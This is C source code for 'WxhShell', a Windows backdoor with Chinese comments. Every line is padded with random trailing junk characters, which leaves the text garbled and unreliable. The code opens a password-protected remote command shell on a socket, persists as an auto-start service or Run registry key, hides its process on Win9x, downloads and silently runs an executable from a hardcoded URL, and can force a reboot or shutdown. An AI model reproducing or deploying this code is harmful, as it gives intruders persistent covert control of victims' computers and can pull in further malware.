    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l^*'W(%  
    else { Fj~,>   
    closesocket(wsh);  W .t`  
    ExitThread(0); @z1Yj"^Pm  
    } gu~F(Fb'  
    break; v*k}{M  
    } h1`u-tc2x  
  // 获取shell iw ==q:$  
  case 's': { op]HF4  
    CmdShell(wsh); 7`IoQvX  
    closesocket(wsh); JVgV,4 1  
    ExitThread(0); BYBf`F)4  
    break; Q-M"+HO  
  } +:&,Ts/  
  // 退出 .G|9:b  
  case 'x': { =u#xPI0:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ic_q<Y}  
    CloseIt(wsh); LmQS;/:  
    break; Sx", Zb  
    } $8"G9r  
  // 离开 ggn:DE "  
  case 'q': { a*gzVE7W#n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @3F4Lg6H|  
    closesocket(wsh); -l# h^  
    WSACleanup(); c8cPGm#i  
    exit(1); vUU)zZB ~  
    break; @L ,hA v ^  
        } 4)XZ'~|  
  } SZ[ ,(h  
  } sF`ELrR \  
&n)=OConge  
  // 提示信息 ^YLk&A)X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VS{po:]A  
} .+ w#n<  
  } |6d0,muN  
CtO`t5  
  return; U:n3V  
} KPcOW#.T  
A=S_5y  
// shell模块句柄 1D/9lR,  
int CmdShell(SOCKET sock) Y "RjMyQh  
{ x&SG gl  
STARTUPINFO si; I Y='tw  
ZeroMemory(&si,sizeof(si)); O4mSr{HCp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oju}0h'1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RZ#~^5DiO  
PROCESS_INFORMATION ProcessInfo; QmpP_eS >  
char cmdline[]="cmd"; "`jey)&H*M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z+*t=?L,,G  
  return 0; _Bp{~-fO  
} Qg\{d)X[N  
=I}8-AS~V  
// 自身启动模式 Bi'qy]%  
int StartFromService(void) uGxh}'&  
{  gh{Z=_  
typedef struct */ ~_3  
{ vCB0 x:/  
  DWORD ExitStatus; ?!4xtOA  
  DWORD PebBaseAddress; V#Hg+\{d  
  DWORD AffinityMask; -t:~d:  
  DWORD BasePriority; GV1SKa  
  ULONG UniqueProcessId; eiJ 13`T  
  ULONG InheritedFromUniqueProcessId; )S;pYVVAl  
}   PROCESS_BASIC_INFORMATION; #:y h2y7a%  
X?'v FC  
PROCNTQSIP NtQueryInformationProcess; (rM-~h6g  
}?0At<(d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tTzPT<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5w# Ceg9  
2tq~NA\#t  
  HANDLE             hProcess; Kn !n}GtR  
  PROCESS_BASIC_INFORMATION pbi; 8 )W{&#C>  
?%RN? O(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VX!UT=;  
  if(NULL == hInst ) return 0; F"k.1.  
?Z ]5 [  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |@a.dgz,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /i${[1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p%8v+9+h2  
h*2NFL~#  
  if (!NtQueryInformationProcess) return 0; -f+U:/'.>v  
,'KQFC   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :UMtknV  
  if(!hProcess) return 0; oY#62&wk4  
|N{?LKR %  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zuq7 x7  
:slVja$e  
  CloseHandle(hProcess); -/k;VT|  
]~!jf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yt+"\d  
if(hProcess==NULL) return 0;  t dl Y  
<d$L}uQwg  
HMODULE hMod; #fy#G}c  
char procName[255]; ?-y!FD}m&  
unsigned long cbNeeded; Ax9a5;5WM  
OqaVp/,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1Rrl59}5  
I(cy<ey+e  
  CloseHandle(hProcess); o]#M8)=  
XpFo SW#K  
if(strstr(procName,"services")) return 1; // 以服务启动 OJkiTs{  
HH\6gs]u  
  return 0; // 注册表启动 b?p_mQKtZ  
} @213KmB.  
IwE{Zvr  
// 主模块 <0Mc\wy  
int StartWxhshell(LPSTR lpCmdLine) 0nh;0Z  
{ UJqDZIvC  
  SOCKET wsl; vbDSNm#Yv  
BOOL val=TRUE; 8op,;Z7Y  
  int port=0; ugZ-*e7  
  struct sockaddr_in door; HW{si]~q  
D 2U")g}U  
  if(wscfg.ws_autoins) Install(); DH#n7s'b  
$qoh0$  
port=atoi(lpCmdLine); |\1!*Qp  
cZ!%#A z  
if(port<=0) port=wscfg.ws_port; % |6t\[gn  
;oKN8vI#7  
  WSADATA data; :f~[tox  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IsaL+elq|  
5eZ8$-&([  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DP(JsZ}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !L+4YA  
  door.sin_family = AF_INET; #hA]r.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AE_7sM  
  door.sin_port = htons(port); [r,ZM  
0={@GhjApL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RjII(4Et  
closesocket(wsl); 7+,6 m!4  
return 1; (-RZ|VdYg  
} y5td o'Ex  
sd@JQ%O  
  if(listen(wsl,2) == INVALID_SOCKET) { 2WP73:'t  
closesocket(wsl); i.|zKjF'  
return 1; '^T Q Ubw  
} peA}/Jc  
  Wxhshell(wsl); OZ/P@`kN.f  
  WSACleanup(); Pl@3=s!~>~  
f{b$Y3  
return 0; (BB&ZUdyv  
KxEy N(n  
} S(K}.C1x  
DNP %]{J  
// 以NT服务方式启动 |C\%H R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zyznFiE  
{ X-tc Ud  
DWORD   status = 0; BCw5.@HK*  
  DWORD   specificError = 0xfffffff; b'D|p/)m0S  
&a'H vQV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9q?\F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sHk,#EsKH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'nK(cKDIG  
  serviceStatus.dwWin32ExitCode     = 0; WBo|0(#  
  serviceStatus.dwServiceSpecificExitCode = 0; CXb-{|I}d  
  serviceStatus.dwCheckPoint       = 0; -,M*j|   
  serviceStatus.dwWaitHint       = 0; M^i^_}~S;  
;1S~'B&1Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Mr5E\~K>s  
  if (hServiceStatusHandle==0) return; @~4Q\^;NX  
e?Pzhh a  
status = GetLastError(); 2:31J4t-<  
  if (status!=NO_ERROR) ]kJinXHW  
{ sH//*y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &rTOJ 1)V}  
    serviceStatus.dwCheckPoint       = 0; U]Iypl`l  
    serviceStatus.dwWaitHint       = 0; 0 i76(2  
    serviceStatus.dwWin32ExitCode     = status; R]0p L   
    serviceStatus.dwServiceSpecificExitCode = specificError; `zr%+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r%M.rYLG{  
    return; So ?ScX\lG  
  } RXMzwk  
u7rA8u|TO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aoLYw 9  
  serviceStatus.dwCheckPoint       = 0; XZ@;Tyn0,  
  serviceStatus.dwWaitHint       = 0; lJ+05\pE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P/BWFN1  
} e<Hbm  
_[yBwh  
// 处理NT服务事件,比如:启动、停止 (+@ Lnz\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r<Il;?S6  
{ we6kV-L.  
switch(fdwControl) E%R^ kqqr  
{ >~;MQDU5*Y  
case SERVICE_CONTROL_STOP: Kq`C5  
  serviceStatus.dwWin32ExitCode = 0; y^7ol;t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C'HW`rh.^  
  serviceStatus.dwCheckPoint   = 0; C%s+o0b  
  serviceStatus.dwWaitHint     = 0; uF xrv  
  { :Hk:Goo2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /H_,1Fu|  
  } ~16QdwK  
  return; 0K\Xxo.=  
case SERVICE_CONTROL_PAUSE: TM|M#hMS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6$1dd#  
  break; ohK_~  
case SERVICE_CONTROL_CONTINUE: >^cP]gG Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %SV5 PO@  
  break; 8PQn=k9  
case SERVICE_CONTROL_INTERROGATE: 9y BENvq  
  break; 6m#V=4e*  
}; RUJkfi=$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Iwnl   
} ()< E?D=  
RC_w 1:h  
// 标准应用程序主函数 OYw~I.Rq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4!'1o`8vs  
{ c7$L:  
)7U^&I,  
// 获取操作系统版本 sSisO?F!Z  
OsIsNt=GetOsVer(); q[6tvPfkX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H%,jB<-.A  
P\;L#2n  
  // 从命令行安装 L5%t.7B  
  if(strpbrk(lpCmdLine,"iI")) Install(); j2V"w&>b}  
gy|L!_1Z8  
  // 下载执行文件 ^;";fr Vw  
if(wscfg.ws_downexe) { 4)L(41h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nXgnlb=  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vy]y73~  
} +T*=JHOD  
/S32)=(  
if(!OsIsNt) { X?,ly3,  
// 如果时win9x,隐藏进程并且设置为注册表启动 AT){OQF8&  
HideProc(); 2V6=F[T  
StartWxhshell(lpCmdLine); c/l%:!A  
} LRF_w)^['  
else 8@Zg@>,  
  if(StartFromService()) +mM=`[Z`??  
  // 以服务方式启动 =T73660  
  StartServiceCtrlDispatcher(DispatchTable); OE{{,HFa`G  
else "N"$B~W*  
  // 普通方式启动 i/ED_<_ Vg  
  StartWxhshell(lpCmdLine); 0GUm~zi1  
(@t O1g  
return 0; pGQP9r%  
} MAhJ>qe8 p  
k[TVu5R  
mAycfa  
j]-0m4QF  
=========================================== 3j'A.S  
sVk+E'q  
qPh @Bl3  
A 1b</2  
qJjXN+/D  
UDjmXQ2,  
" ~7!=<MW  
\!!qzrq  
#include <stdio.h> uvN Lm]*  
#include <string.h> 1&zvf4  
#include <windows.h> cT2&nZ  
#include <winsock2.h> )gOVnA/M  
#include <winsvc.h> :O`7kZ]=n  
#include <urlmon.h> ?hqHTH:PU  
RJpH1XQ j  
#pragma comment (lib, "Ws2_32.lib") O$Wi=5  
#pragma comment (lib, "urlmon.lib") 1u?h4w C  
#w%d  
#define MAX_USER   100 // 最大客户端连接数 )7$1Da|.  
#define BUF_SOCK   200 // sock buffer p`/"e<TP  
#define KEY_BUFF   255 // 输入 buffer 8Ld`$_E  
j -l#n&M  
#define REBOOT     0   // 重启 #xUX1(  
#define SHUTDOWN   1   // 关机 ``;.Oy6jS  
ChvSUaCS  
#define DEF_PORT   5000 // 监听端口 Ban@$uf  
baLO~C  
#define REG_LEN     16   // 注册表键长度 [NG~FwpRf  
#define SVC_LEN     80   // NT服务名长度 ~q5aMy d<  
UQ0Sf u  
// 从dll定义API F52%og~N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zD#$]?@ b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k|C~qe3E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C%2BDj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _?]0b7X  
i D6f/|g  
// wxhshell配置信息 mf~Joluc J  
struct WSCFG { a ~s:f5S>  
  int ws_port;         // 监听端口 j6!C/UgQ  
  char ws_passstr[REG_LEN]; // 口令 "_LDs(&  
  int ws_autoins;       // 安装标记, 1=yes 0=no Rz sgPk  
  char ws_regname[REG_LEN]; // 注册表键名 o,-p[1b  
  char ws_svcname[REG_LEN]; // 服务名 qPI\Y3ZU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s9[?{}gd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R07]{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <z'Pj7c[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sj9j 47y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FEC`dSTI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^T?zR7r  
KT5amct  
}; _xKIp>A  
7+N0$0w%r  
// default Wxhshell configuration  lu_kir~  
struct WSCFG wscfg={DEF_PORT, 2 m"2>gX  
    "xuhuanlingzhe", ;mT|0&o>#  
    1, kM:Z(Z7$  
    "Wxhshell", Z\lJE>1  
    "Wxhshell", ,6J{-Iu  
            "WxhShell Service", HZINsIm!?  
    "Wrsky Windows CmdShell Service", -_*ux!  
    "Please Input Your Password: ", 7 KuUV!\h`  
  1, ~FP4JM,y6  
  "http://www.wrsky.com/wxhshell.exe", Kw%to9 eh)  
  "Wxhshell.exe" u%t/W0xi  
    }; .OyzM  
c-GS:'J{  
// 消息定义模块 :P2{^0$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :VkuK@Th`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;[qA?<GJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <?2g\+{s9  
char *msg_ws_ext="\n\rExit."; v}cTS@0  
char *msg_ws_end="\n\rQuit."; _p^?_  
char *msg_ws_boot="\n\rReboot..."; >(?}'pS8  
char *msg_ws_poff="\n\rShutdown..."; !W\za0p  
char *msg_ws_down="\n\rSave to "; V=i/cI\  
D`Cy]j  
char *msg_ws_err="\n\rErr!"; GhJ<L3  
char *msg_ws_ok="\n\rOK!"; !:]/MpQ ?  
{4F=].!  
char ExeFile[MAX_PATH]; QZh#&Qf;  
int nUser = 0; ]|xfKDu  
HANDLE handles[MAX_USER]; ]>9[}'u  
int OsIsNt; ;s$,}O.  
9ZD>_a  
SERVICE_STATUS       serviceStatus; (DIMt-wz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; whW% c8  
ts:YJAu+F  
// 函数声明 Jkx_5kk/\  
int Install(void); r"_U-w  
int Uninstall(void); g[c_rty  
int DownloadFile(char *sURL, SOCKET wsh); |j2$G~B6  
int Boot(int flag); 7DZZdH$Fm  
void HideProc(void); YHp]O+c  
int GetOsVer(void); XLgp.w;  
int Wxhshell(SOCKET wsl); ]lqe,>  
void TalkWithClient(void *cs); (v,g=BS,  
int CmdShell(SOCKET sock); ;hgRMkmz4<  
int StartFromService(void); c]/X >8;  
int StartWxhshell(LPSTR lpCmdLine); p!o?2Lbiw  
F(; =^w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e"d-$$'e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NiSybyR$  
_x`oab0@  
// 数据结构和表定义 20,}T)}Tm  
SERVICE_TABLE_ENTRY DispatchTable[] = \H4$9lPk  
{ V;LV),R?  
{wscfg.ws_svcname, NTServiceMain}, b Y2:g )  
{NULL, NULL} ,k9xI<i  
}; T;M4NGmvd  
TFZxk  
// 自我安装 \S_o{0ZY}  
int Install(void) :!QT ,  
{ 5M&<tj/[a0  
  char svExeFile[MAX_PATH]; 6no&2a|D  
  HKEY key; iw{rns  
  strcpy(svExeFile,ExeFile); BhzcimC)  
LOEiV  
// 如果是win9x系统,修改注册表设为自启动 >^~W'etX|  
if(!OsIsNt) { ["H2H rI2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cK1 Fv6V#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5F78)q u6N  
  RegCloseKey(key); D &Bdl5g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zHX7%x,Cq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h]vu BHJ}  
  RegCloseKey(key); 1>=]lMW  
  return 0; mVd%sWD  
    } K2qKkV@  
  } P,s>xM  
} n`X}&(O  
else { S*NeS#!v  
szs.B|3X@*  
// 如果是NT以上系统,安装为系统服务 c$8M}q:X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bO'?7=SC  
if (schSCManager!=0) 3rj7]:Vr  
{ 'j9x(T1M1  
  SC_HANDLE schService = CreateService u#+Is4Vh  
  ( "=Cjm`9~j  
  schSCManager, @:/H)F^x  
  wscfg.ws_svcname, &a'mh  
  wscfg.ws_svcdisp, j" 5 +"j  
  SERVICE_ALL_ACCESS, 0TqIRUz "C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , em9nuXG  
  SERVICE_AUTO_START, cB6LJ}R  
  SERVICE_ERROR_NORMAL, $EnBigb!  
  svExeFile, AQGl}%k_  
  NULL, 2AXf'IOqE  
  NULL, ':7gYP*v  
  NULL, Y~B-dx'V  
  NULL, d$HPpi1LL  
  NULL ATF>"Ux  
  ); w\1K.j=>|N  
  if (schService!=0) lNo]]a+_  
  { xz-?sD/xe  
  CloseServiceHandle(schService); Sg< B+u\\  
  CloseServiceHandle(schSCManager); ^4C djMF-E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f2 ?01PM,Q  
  strcat(svExeFile,wscfg.ws_svcname); he|.Ow  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }2''}-Nc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0V+v)\4FE  
  RegCloseKey(key); tfdb9# &?  
  return 0; r-AD*h@QZ  
    } y[';@t7CC  
  } .|i/ a%J  
  CloseServiceHandle(schSCManager); e3k58  
} r8Z.}<j  
} UmLBoy&*  
eWr2UXv$  
return 1; : j`4nXm  
} :{ Lihe~\  
lvH} 8 lJ  
// 自我卸载 Eih6?Lpu  
int Uninstall(void) 0D/7X9xg9+  
{ g~XR#vl$  
  HKEY key; |qf ef &  
bh+m_$X~  
if(!OsIsNt) { pB0 SCS*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OCu/w1 bc  
  RegDeleteValue(key,wscfg.ws_regname); g f<vQb|  
  RegCloseKey(key); C$d b) 5-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1fTf+P  
  RegDeleteValue(key,wscfg.ws_regname); 6J <.i  
  RegCloseKey(key); ZU;nXqjc  
  return 0; tu^C<MV  
  } G%>{Z?!B  
} t;}`~B  
} jt0f*e YE8  
else { Pp.] /;  
"}2I0tM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q>I7.c-M|  
if (schSCManager!=0) SM4'3d&mf  
{ CQs,G8 \/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p@eW*tE  
  if (schService!=0) C,B{7s0-  
  { mM'uRhO+  
  if(DeleteService(schService)!=0) { <l< y R?  
  CloseServiceHandle(schService); C6qGCzlG`  
  CloseServiceHandle(schSCManager); A+Kp ECP  
  return 0; -ZoAbp$  
  } U lPhW~F)  
  CloseServiceHandle(schService); y;f nC5Q  
  } Zd]ua_)I%[  
  CloseServiceHandle(schSCManager); M63t4; 0A  
} )O8w'4P5  
} -0+h&CO  
I:M15  
return 1; ^sF(IV[>  
} p: u@? k  
l4 YTR4D  
// 从指定url下载文件 }" STc&1  
int DownloadFile(char *sURL, SOCKET wsh) Qx8O&C?Ti  
{ H-3*},9  
  HRESULT hr; l)f 2T@bHl  
char seps[]= "/"; bZ}T;!U?I  
char *token; w3M F62:  
char *file; ~&D5RfK5f  
char myURL[MAX_PATH]; +&.39q !  
char myFILE[MAX_PATH]; 2L S91  
x,c\q$8yH  
strcpy(myURL,sURL); _opB,,G  
  token=strtok(myURL,seps); $49;\pBZl  
  while(token!=NULL) 7 b{y  
  { XdE|7=+s  
    file=token; s0'6r$xj  
  token=strtok(NULL,seps); SP4(yJy&  
  } t\O#5mo  
SmV}Wf  
GetCurrentDirectory(MAX_PATH,myFILE); 'jYKfq~_cJ  
strcat(myFILE, "\\"); nq\~`vH|Gd  
strcat(myFILE, file); rxOv YF  
  send(wsh,myFILE,strlen(myFILE),0); vBV_aB1{  
send(wsh,"...",3,0); Ah;`0Hz;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X.AE>fx*h  
  if(hr==S_OK) hLaQ[9  
return 0; ~BgNM O;|  
else \^dYmU  
return 1; 0U! _o2]  
TVK*l*  
} T3t w.yh  
QG5 c>Q  
// 系统电源模块 ,7;euV5X  
int Boot(int flag) Wf =hFc1_@  
{ 9 u>X,2gUR  
  HANDLE hToken; jSw>z`'#H  
  TOKEN_PRIVILEGES tkp; <1<0odB  
M&KJZ  
  if(OsIsNt) { /}S1e P6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EQX?Zs?C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q& esI  
    tkp.PrivilegeCount = 1; a``Q}.ST  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pwl7aC+6d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :q$.=?X3  
if(flag==REBOOT) { %1 rN6A!%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,qIut|C*  
  return 0; )Ut9k  
} .#LHj}u  
else { W{t- UK   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^ R3g7 DG  
  return 0; !!6g<S7)  
} GK{~n  
  } Hi&bNM>?O  
  else { [ub)`-6 u  
if(flag==REBOOT) { 58]t iP"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0+k=gO  
  return 0; vkLyGb7r<  
} +< )H2  
else { Is!+ `[ma  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7TA&u'  
  return 0; [pSQ8zdF"  
} w +HKvOs5c  
} *s?C\)x  
yS4nB04`=  
return 1; -pQ0,/}K  
} uCj)7>}v{M  
2,p= %  
// win9x进程隐藏模块 IeB^BD+j  
void HideProc(void) V5+|H1=  
{ 9L>ep&u)^  
uExYgI`<%&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !X1 KOG  
  if ( hKernel != NULL ) =g)SZK  
  { jsq|K=x,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lN7YU-ygz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }sM_^&e4X  
    FreeLibrary(hKernel); >~uKkQ_p  
  } ! ~+mf^D  
'Ecd\p  
return; y7LM}dH#m  
} LHs^Xo18  
_ !k\~4U  
// 获取操作系统版本 A6#v6iT  
int GetOsVer(void) DS7Pioa86  
{ J74kK#uF=  
  OSVERSIONINFO winfo; L/,M@1@R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Kk>va->R  
  GetVersionEx(&winfo); q^b12@.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vZIx>  
  return 1; :~~\{fm  
  else :-j/Y'H_  
  return 0; /Tp>aW%}"  
} QLZ%m$Z  
N._^\FRyn  
// 客户端句柄模块 "S psSQ  
int Wxhshell(SOCKET wsl) 6}:(m#+  
{ q ;e/gP2  
  SOCKET wsh; /Mw0<#  
  struct sockaddr_in client; oMKGM@V  
  DWORD myID; WISeP\:^  
*-s':('R  
  while(nUser<MAX_USER) +`TwBN,kp-  
{ p9eTrFDy?  
  int nSize=sizeof(client); nu6v@<<F>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [-1Yyy1}  
  if(wsh==INVALID_SOCKET) return 1; /re0"!0y  
Jg@eGs\*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ORt)sn&~d  
if(handles[nUser]==0) U-#vssJhk  
  closesocket(wsh); ]u%Y8kBe  
else wfM|3GS+.  
  nUser++; `12Y2W 9  
  } h[gKyxZ/t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &usum~@  
/[|A(,N}{  
  return 0; ?aU-Y_pMe  
} E>kgEfzxP  
UL3u2g;d  
// 关闭 socket df9$k0Fx  
void CloseIt(SOCKET wsh) xUIH,Fp-9  
{ $3(E0\#O  
closesocket(wsh); $lF\FC  
nUser--; /+f3jy:d  
ExitThread(0); .;37 e  
} 3_Mynop  
La si)e=$<  
// 客户端请求句柄 J_&G\b.9/  
void TalkWithClient(void *cs) ?DC;Hk<  
{ &FDWlrG g  
=2d h}8Mz  
  SOCKET wsh=(SOCKET)cs; }1YQ?:@  
  char pwd[SVC_LEN]; a7e.Z9k!  
  char cmd[KEY_BUFF]; nb(Od,L  
char chr[1]; y&2O)z!B  
int i,j; @*JS[w$1  
7/FF}d  
  while (nUser < MAX_USER) { :qvaI,  
+  $/mh  
if(wscfg.ws_passstr) { } BnPNc[I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z?(QM:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yu|L6#[E  
  //ZeroMemory(pwd,KEY_BUFF); Y NGS"3F  
      i=0; D=~3N  
  while(i<SVC_LEN) { S{JBV@@tC  
-nk0Q_7N  
  // 设置超时 Og"\@n  
  fd_set FdRead; 3Oe\l[?$;  
  struct timeval TimeOut; 7G23D  
  FD_ZERO(&FdRead); TL([hR _  
  FD_SET(wsh,&FdRead); 3@mW/l>X  
  TimeOut.tv_sec=8; d0-T\\U  
  TimeOut.tv_usec=0; 9TV1[+JWe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uG4Q\,R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cx ;n#dn*  
[K`d?&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LS4E.Xdn  
  pwd=chr[0]; .Yxf0y?uv  
  if(chr[0]==0xd || chr[0]==0xa) { iIU>:)i  
  pwd=0; "ax"k0  
  break; <*DP G\6Ma  
  } !{ /AJb  
  i++; V e4@^Jy;  
    } +<n8O~h  
~Q5 i0s%  
  // 如果是非法用户,关闭 socket 8[H)t Kf8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jR{Rd}QtQ  
} ]D|Hq4ug  
N"2P]Z r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3 ~\S]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `6y\.6j  
axdRV1+s  
while(1) { xMo'SpVz:  
?4lDoP{  
  ZeroMemory(cmd,KEY_BUFF); B0:/7Ld$Ml  
%o#|zaK  
      // 自动支持客户端 telnet标准   u$mp%d8  
  j=0; *x&y24  
  while(j<KEY_BUFF) { iFaC[(1@a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z229:L6"  
  cmd[j]=chr[0]; w&LL-~KI+  
  if(chr[0]==0xa || chr[0]==0xd) { HH'5kE0;d  
  cmd[j]=0; {&.?u1C.\  
  break; A{a`%FAV  
  } ]nQ(|$rW  
  j++; ^I6GH?19>e  
    } aKC3v R0  
e"voXe  
  // 下载文件 6#1:2ZHKG  
  if(strstr(cmd,"http://")) { jW_FaPW(p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `rI[   
  if(DownloadFile(cmd,wsh)) XnV$}T:?X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3ypf_]<  
  else M7SVD[7~HM  
